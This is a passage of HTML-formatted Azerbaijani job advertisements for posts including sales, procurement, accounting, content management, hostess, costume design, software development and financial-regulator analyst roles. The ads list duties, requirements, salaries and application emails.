margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><em>İşə\r\ngötürmə şərtləri:</em></p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">Birinci\r\nay seçilmiş namizədlər könüllü işləyəcək&nbsp;<br>\r\nHəmin ay ərzində satış texnikası, logistika, beynəlxalq hava, dəmir, yol və\r\ndəniz daşınmaları, üzrə təlimlər alacaq;&nbsp;<br>\r\nSınaq ayını müvəffəqiyyətlə keçmiş namizəd(lər) ilə əmək müqaviləsi bağlanacaq;<br>\r\nMaaş razılaşdırılma yolu ilə təyin olunacaq, işçiyə həyata keçirdiyi\r\nsatışlardan asılı olaraq bonus proqramı təyin olunacaq.</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\">Maraqlananlar\r\nbaşlıq hissədə “Satış\r\nMütəxəssisi” yazaraq\r\nCV-lərini <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> e-mail ünvanına göndərə bilərlər.</p><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\"><br></p>  <p><strong><span lang=\"DE\" style=\"font-size:12pt;font-family:\'Times New Roman\', serif\">Kaspian\r\nİnvestisiya və İnki</span>şaf Birliyi</strong> əsas\r\nməhsullar üzərində istehlak malları və xammalla məşğul olur. </p><p margin-left:49.5pt;text-align:center\"=\"\">Birliyin Bakıda yerləşən mərkəzi üçün yüksək potensiallı, qabiliyyətli,\r\nsürücülük bacarığı olan əməkdaşa ehtiyacı var.</p>\r\n<p><strong>Vəzifələrə daxildir:</strong></p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nVerilənlər\r\nbazasının yenilənməsi, Təchizat sərəncamları bazası;</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMeyarlar\r\ntərəfindən təchizatçılarılara seçim yardımı (ən yaxşı qiymətlər, keyfiyyət və şərtləri);</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYeni\r\nyerli və beynəlxalq təchizatların axtarışı, mövcud təchizatı ilə məşğul\r\ndanışıqlarda yardım;</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMüvafiq\r\nsənədlərin yoxlanılması və nəzarət olunması faktura, qablaşdırma siyahıları,\r\nixrac bəyannaməsi, sertifikatlar, CMR, TIR talonu və s.;</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSifarişlərin\r\nalınmasında yardım, təşkili, toplanması və bütün zəruri alış və loqistika sənədlər\r\nvə digər sənədlərin hesabatlarına nəzarət; </p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCədvəllərin hazırlanmasında\r\nyardım, çatışmazlıqların həlli.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Bu vəzifə üçün tələb və bacarıqlar:</strong></p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə,\r\niqtisadiyyat və ya biznesin idarə olunması / MBA üzrə ali təhsil;</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nƏn\r\nazı, bir il iş təcrübəsi;</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAzərbaycan\r\n/ ingilis dili / rus dillərini sərbəst bilməli;</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMükəmməl\r\n<strong><em>MS\r\nOffice</em></strong> proqramları bacarığı;</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÇevik\r\nvə sürətli öyrənmə qabiliyyəti;</p>\r\n<p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nƏla\r\nünsiyyət, təşkilati və müştərək iş bacarıqları.</p><p style=\"\" margin-bottom:8.0pt;text-indent:-18.0pt;line-height:107%\"=\"\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br>  <p><strong><span lang=\"DE\" style=\"font-size:12.0pt;font-family:\'Times New Roman\',serif\">Kaspian\r\nİnvestisiya və İnki</span>şaf Birliyi</strong> əsas\r\nməhsullar üzərində istehlak malları və xammalla məşğul olur. </p><p>Birliyin Bakıda yerləşən mərkəzi üçün yüksək potensiallı, qabiliyyətli,\r\nsürücülük bacarığı olan əməkdaşa ehtiyacı var.</p><p margin-left:49.5pt;text-align:center\"=\"\"><strong></strong></p>\r\n<p><strong>Vəzifələrə daxildir:</strong></p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nödənilməli\r\ndebitor hesabları yardım və hesablara nəzarət;<strong></strong></p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBordro təmin əmək\r\nhaqqı hazırlanmasında yardım dövlət vergilərin ödənilməsi;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDSMF (illik,\r\nrüblük və s.) hesabatların hazırlanmasında yardım;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nillik vergi\r\nhesabatlarının hazırlanmasında yardım;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nmühasibat daxil\r\nproqram təminatı;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nidarə\r\nhesablarının hazırlanmasına yardım (P&amp;L, pul vəsaitlərinin hərəkəti\r\nhesabatının balans hesabatı);</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə\r\nDepartamentinin baş mühasib və rəhbəri tərəfindən tələblər, digər gündəlik\r\nmühasibat vəzifələrinin həyata keçirilməsi.</p>\r\n<p><strong>Bu mövqe üçün tələblər və bacarıqlar:</strong></p>\r\n<p>• Maliyyə, uçot və/ və ya digər ixtisaslar üzrə universitet təhsili.</p>\r\n<p>• Müvafiq sahədə minimum 1-2 il iş təcrübəsi;</p>\r\n<p>• Mükəmməl <strong><em>MS Office</em></strong> proqramları bacarığı;</p>\r\n<p>• Azərbaycan, rus və ingilis dillərini sərbəst bilməli.</p><p><br></p><p style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:12.0pt;line-height:107%;font-family:\'Times New Roman\',serif\"><strong></strong></span></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><br></strong><br><p style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:12.0pt;line-height:107%;font-family:\'Times New Roman\',serif\"><strong>”\r\nZuleykha” Jurnalında Kontent Menecer və İnterna vəzifələri vakantdır!</strong></span></p><p margin-left:49.5pt;text-align:center\"=\"\">Komandamız\r\naktiv həyat yaşayan yaradıcı gənclər axtarışındadır.<strong></strong></p>\r\n<p>İşə\r\nbaşlamazdan əvvəl layiqli namizədlər təlimləndiriləcəkdir. Bizə yazın</p>\r\n<p><a href=\"mailto:hello@zuleykha.az\">hello@zuleykha.az</a></p>\r\n<p>&nbsp;QEYD:\r\nEmail ad hissəsində müraciət etdiyiniz vakansiyanın adını mütləq qeyd edin. </p>\r\n<p>Kontent Menecer: </p>\r\n<ul type=\"disc\">\r\n <li>*Dəb\r\n     və ən son müasir qadın mövzularından məlumatlı olmaq</li>\r\n <li>*Azərbaycan\r\n     dilində səhvsiz səlist və yaradıcı yazı qabiliyyəti </li>\r\n <li>Rus\r\n     və İngilis dillərini bilənlərə üstünlük veriləcək</li>\r\n <li>*Kompüter\r\n     və digər texniki bacarıqları *Yazarlar komandasını idarə etmək</li>\r\n <li>*İnsanlarla\r\n     xoş ünsiyyət qabiliyyəti </li>\r\n <li>*Qoyulmuş\r\n     hədəfləri zamanında və tələb olunan şəkildə nail olma qabiliyyəti </li>\r\n <li>Təşəbbüskarlıq\r\n     və çərçivədən kənar düşünmə qabiliyyəti </li>\r\n <li>Özü\r\n     öz səhvləri üzərində işləyib nəticə çıxarmaq </li>\r\n <li>4-cu\r\n     kurs və ya yeni məzun olanlara üstünlük veriləcək</li></ul><p>GDG Professionals İşçi Axtarır!</p><p>Telefon danışığımıza əsasən Hostess vəzifəsinə aid vəzifə təlimatlarını yönəldirəm:</p><p>1.Xoş görünüşlü xanımlar</p><p>2.Rus və Azərbaycan dilləri</p><p>3.Iş təcrübəsi arzu olunandır</p><p>4.İş qrafiki: 6 günlük, 12:00 –dan 22:00 –dək</p><p>5.Maaş 500 azn</p><p>Xanım, qonaqları qarşılayıb onları masalara ötürməlidir. Rezervasiyaları qəbul edib, müştərilərlə xoş ünsiyyət qurmalıdır.&nbsp;</p><p>Maraqlananlar CV-lərini jamilya@gdg.az adresinə göndərə bilərlər. Başlıq hissədə “Hostess” qeyd etməyiniz VACİBDİR!</p><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br></div><div><span style=\"font-size:12pt\"><br></span></div><div><span style=\"font-size:12pt\">“</span><strong style=\"font-size:12pt\">Amapola Exclusive Events”&nbsp; MMC Modelyer-dizayner vəzifəsinə işəqəbul\r\nelan edir.</strong></div>\r\n<p style=\"\" text-align:justify\"=\"\">2013-cü ilin avqust ayında təsis edilən\r\n“Amapola Exclusive Events” şirkəti vahid məqsəd ətrafında birləşən kreativ\r\ninsanlardan ibarət bir komanda yaratmışdır. Şirkət dövlət tədbirləri, toy mərasimləri,\r\nad günləri və hər növ korporativ tədbirlərin təşkilini həyata keçirir. “Amapola\r\nExclusive Events” tədbirlərin təşkilində ən son tendensiyalar və ən yaxşı təcrübələrə\r\nəsaslanır və öz müştərilərinə geniş miqyaslı xüsusi həlləri təklif edir. Bu məqsədləri\r\nhəyata keçirmək yolunda yorulmadan səy göstərən əməkdaşlarımız ilə fəxr edirik\r\nvə Sizi də “Amapola Exclusive Events”&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;ailəsinə, onun mehriban kollektivinə və\r\nqaynar korporativ həyatına qoşulmağa dəvət edirik.</p>\r\n<p style=\"\" text-align:justify\"=\"\">&nbsp;</p>\r\n<p><strong>Vəzifə öhdəlikləri:</strong></p>\r\n<p style=\"\" margin-left:39.3pt;text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBədii rəhbər və Rəhbərliklə\r\ntədbir barəsində müzakirələrin aparılması;</p>\r\n<p style=\"\" margin-left:39.3pt;text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTədbir üçün lazım olan\r\ngeyimlərin, əşyaların, rekvizitlərin və s., eskizlərinin çəkilməsi;</p>\r\n<p style=\"\" margin-left:39.3pt;text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEskizi çəkilmiş geyimlərin, əşyaların,\r\nrekvizitlərin hazırlanması üçün materialların &nbsp;</p>\r\n<p style=\"\" margin-left:39.3pt;text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\naxtarılması və seçilməsi;</p>\r\n<p style=\"\" margin-left:39.3pt;text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBədii rəhbər və Rəhbərlik tərəfindən\r\ntəsdiqlənmiş eskiz əsasında geyimlərin, əşyaların, rekvizitlərin təyin edilmiş\r\nvaxt ərzində hazırlanması və müştəriyə təqdim edilməsi;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Namizədə qarşı tələblər:</strong></p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAli təhsil (Rəssamlıq, Dizayn\r\nvə s. kimi sahələr üzrə)</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAzərbaycan dili və rus\r\ndilini mükəmməl səviyyədə bilməli, ingilis dili bilməyi arzuolunandır;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMüvafiq sahədə 1-3 il iş təcrübəsi;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDərzilik bacarığı;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKreativlik (yaradıcı\r\npotensial);</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDizayn və tərtibat\r\nmetodları;</p>\r\n<p>Müraciət etdiyiniz vəzifənin adını email-in mövzu hissəsində <strong>“Modelyer-dizayner”</strong> şəklində göstərməyiniz\r\nxahiş olunur. Əks təqdirdə belə müraciətlilərin namizədliyinə baxılmayacaqdır.</p>\r\n<p>Yuxarıda qeyd edilənləri nəzərə alaraq bildirmək istəyirik ki, işəqəbul\r\nprosesinin növbəti mərhələsi üçün yalnız seçilmiş namizədlərlə əlaqə\r\nsaxlanılacaqdır.</p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><p><strong><br></strong></p><p><strong>Business Insight International\r\nResearch GROUP işçi axtarır!</strong></p>\r\n<p><strong>Tələblər:</strong></p><p>\r\n18-26 yaşlarında olan:<br>\r\nXoş görünüşlü (boyu 160-dan yuxarı):<br>\r\nMəntiqi güclü:<br>\r\nNormal səviyyədə ünsiyyət və təqdimat\r\nbacarıqları:</p>\r\n<p>Kompyuter\r\nofis proqramlarında sərbəst işləməyi bacaran:</p>\r\n<p>Ədəbiyyatşünaslıq\r\nvə filologiya istiqaməti üzrə ali təhsilli (Peşəkar cümlələr qurmağı bacaran)</p>\r\n<p>Rus\r\ndilini bilməsi tövsiyə olunur</p><p><strong>\r\nQeyd:</strong><br>\r\n• İş günü: 6 günlük iş həftəsi<br>\r\n• İş saatları: 09:00-18:00<br>\r\n• İstirahət günləri: Bazar günü</p>\r\n<p>Maaş -200-250 azn</p>\r\n<p>Maraqlananlar\r\n<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> e-mail adresinə CV-lərini göndərə\r\nbilərlər. CV-lər yoxlanıb daha sonra iş elanının e-mail adresinə göndəriləcəkdir.</p><p><br></p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong><br></strong></p><p><strong><span style=\"font-size:14.0pt;line-height:115%\">SEFCO\r\nConsulting Group Işçi axtarır!</span></strong></p><p>Tələblər:</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSosial Fəaliyyəti olan;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYüksək kommunikasiya bacarıqları;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDəqiq və disiplinli.</p>\r\n<p>Maraqlananlar öz CV-lərini başlıq hissədə\r\nvakansiyanın adını qeyd edərək <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> e-mail adresinə\r\ngöndərə bilərlər.</p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><strong><br></strong><br><p style=\"margin:0in;margin-bottom:.0001pt;background:#fffffff\"><strong><br></strong></p><p style=\"margin:0in;margin-bottom:.0001pt;background:#fffffff\"><strong>Customar Interactive Technologies Şirkəti İşçi axtarır!</strong></p>\r\n<p><strong>Vəzifə 1: </strong>Oyun\r\ninkişafçısı<strong></strong></p>\r\n<p>İş saatları: həftəiçi beş gün\r\nsaat 9:00-18:00 arası, Şənbə günü – qısa gün</p>\r\n<p>Əmək haqqı individual\r\ndəyərləndirmədir.</p>\r\n<p>Tələblər:</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nC# proqram dilini bilmək;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnity3D platformasını bilmək;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOrta Səviyyədə İngilis dili;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÖyrənməyə və inkişaf etməyə həvəsi olmaq;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÇalışqan, risk etməyi sevən, motivasiyalı, dəqiq və intizamlı olmaq.</p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong><br></strong></p><p style=\"margin:0in;margin-bottom:.0001pt;background:#fffffff\"><strong>Vəzifə 2:</strong><span style=\"color:#1d2129\">\r\nMobil Uyğulama İnkişafı</span></p><p>İş saatları: həftəiçi beş gün saat\r\n9:00-18:00 arası, Şənbə günü – qısa gün</p>\r\n<p>Əmək haqqı individual\r\ndəyərləndirmədir.</p>\r\n<p>&nbsp;</p>\r\n<p>Tələblər:</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAndroid Studio Java dilini, IOS uyğulama inkişaf proqramını bilmək;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOrta səviyyədə ingilis dili;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÖyrənməyə və inkişaf etməyə həvəsi olmaq;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÇalışqan, risk etməyi sevən, motivasiyalı, dəqiq və intizamlı olmaq.</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;background:white\"\"=\"\"><br></p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><p style=\"text-align:center\"><strong>&nbsp; &nbsp; &nbsp;Azərbaycan\r\nRespublikasının Maliyyə Bazarlarına Nəzarət Palatası</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Vəzifə: Maliyyə\r\nbazarları infrastrukturuna nəzarət idarəsinin analitiki/ aparıcı analitiki</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Namizədə dair tələblər:&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTam ali təhsil\r\n(İqtisadiyyat, idarəetmə, maliyyə və ya mühasibat uçotu üzrə); </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnaloji sahə üzrə ən\r\nazı 3-5&nbsp; il iş təcrübəsi;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə bazarları,\r\nonlara nəzarət prinsipləri, investisiya qiymətli kağızlar və törəmə maliyyə alətləri\r\nüzrə biliklər;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKapital\r\nadekvatlığı və risklərin idarəolunması sahəsində biliklər;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQiymətli kağızlar\r\nsahəsində yerli qanunvericilik üzrə&nbsp;\r\nbiliklər;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPulların yuyulması\r\nvə terrorçuluğun maliyyələşdirilməsi ilə mübarizə sahəsində biliklər;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə\r\nhesabatlarının təhlili və proqnozların hazırlanması bacarığı;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSəlis Azərbaycan və\r\nİngilis dili bilikləri;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİT resursları və\r\nofis proqramları üzrə biliklər;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTəşkilatçılıq və təşəbbüskarlıq\r\nqabiliyyəti;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProblemi həll etmək\r\nvə qərarvermə qabiliyyəti;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnalitik düşüncə və\r\nünsiyyətqurma bacarığı;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİntensiv rejimdə və\r\nkollektiv mühitdə işləmək qabiliyyəti;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCFA və FRM dərəcəsi\r\nolanlara üstünlük veriləcək;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>İşin təsviri:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQiymətli kağızlar\r\nbazarında lisenziyaya malik olan şəxslərə və mərkəzi depozitara nəzarətin təmin\r\nedilməsində iştirak edir;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQiymətli kağızlar\r\nbazarında lisenziyaya malik olan şəxslərə verilmiş xüsusi razılığın\r\n(lisenziyanın)&nbsp; ləğvinə dair təkliflərin\r\nverilməsində iştirak edir;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQiymətli kağızlar\r\nbazarında lisenziyaya malik olan şəxslərin hesabatlarının qəbul edilməsində,\r\nonların təhlil edilməsində və qanunvericiliklə müəyyən edilmiş qaydada müvafiq\r\ntədbirlərin görülməsində və müvafiq yoxlamalarda iştirak edir;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQiymətli kağızlar\r\nbazarı üzrə monitorinq iştirakçısı hesab edilən şəxslərin qanunla nəzərdə\r\ntutulmuş qaydada və hallarda cinayət yolu ilə əldə edilmiş pul vəsaitlərinin və\r\nya digər əmlakın leqallaşdırılmasına və terrorçuluğun maliyyələşdirilməsinə\r\nqarşı nəzarətin həyata keçirilməsi ilə əlaqədar müvafiq tədbirlərin görülməsində\r\niştirak edir.</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><br></p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong> &nbsp;Azərbaycan Respublikasının Maliyyə Bazarlarına Nəzarət\r\nPalatası</strong></p>\r\n<p><strong>Vəzifənin\r\nadı: Mətbuat katibi</strong></p>\r\n<p><strong>Namizədə olan 